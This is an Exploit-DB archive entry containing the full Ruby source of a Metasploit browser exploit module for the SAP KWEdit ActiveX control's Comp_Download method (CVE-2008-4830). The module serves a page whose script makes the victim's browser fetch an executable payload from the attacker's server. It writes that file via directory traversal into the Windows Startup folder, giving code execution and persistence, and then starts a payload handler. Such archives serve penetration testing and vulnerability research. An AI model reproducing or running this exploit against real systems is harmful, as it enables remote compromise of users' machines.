标题: EnjoySAP SAP GUI - ActiveX Control Arbitrary File Download (Metasploit) EDB-ID: 16493 CVE: 2008-4830 类型: REMOTE 平台: WINDOWS 发布日期: 2010-12-01 漏洞利用脚本: ##
# $Id: enjoysapgui_comp_download.rb 11189 2010-12-01 03:18:05Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :os_name    => OperatingSystems::WINDOWS,
  :javascript => true,
  :rank       => NormalRanking,
  :vuln_test  => nil,
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EnjoySAP SAP GUI ActiveX Control Arbitrary File Download',
   'Description'    => %q{
     This module allows remote attackers to place arbitrary files on a users file system
    by abusing the "Comp_Download" method in the SAP KWEdit ActiveX Control (kwedit.dll 6400.1.1.41).
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 11189 $',
   'References'     =>
    [
     [ 'CVE', '2008-4830'],
     [ 'OSVDB', '53680'],
     [ 'URL', 'http://dsecrg.com/files/pub/pdf/HITB%20-%20Attacking%20SAP%20Users%20with%20Sapsploit.pdf' ],
    ],
   'DefaultOptions' =>
    {
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => '??? ?? ????'))

  register_options(
   [
    OptString.new('PATH', [ true, 'The path to place the executable.', '/../../../../../../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),
   ], self.class)
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  payload_url =  "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

  if (request.uri.match(/payload/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  vname  = rand_text_alpha(rand(100) + 1)
  exe    = rand_text_alpha(rand(20) + 1)

  content = %Q|
<html>
<head>
 <script>
  try {
  var #{vname} = new ActiveXObject('Kweditcontrol.KWedit.1');
  #{vname}.Comp_Download("#{payload_url}","#{datastore['PATH']}/#{exe}.exe");
  } catch( e ) { window.location = 'about:blank' ; }
 </script>
</head>
</html>
    |

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  send_response_html(cli, content)

  handler(cli)

 end

end URL: https://www.exploit-db.com/exploits/16493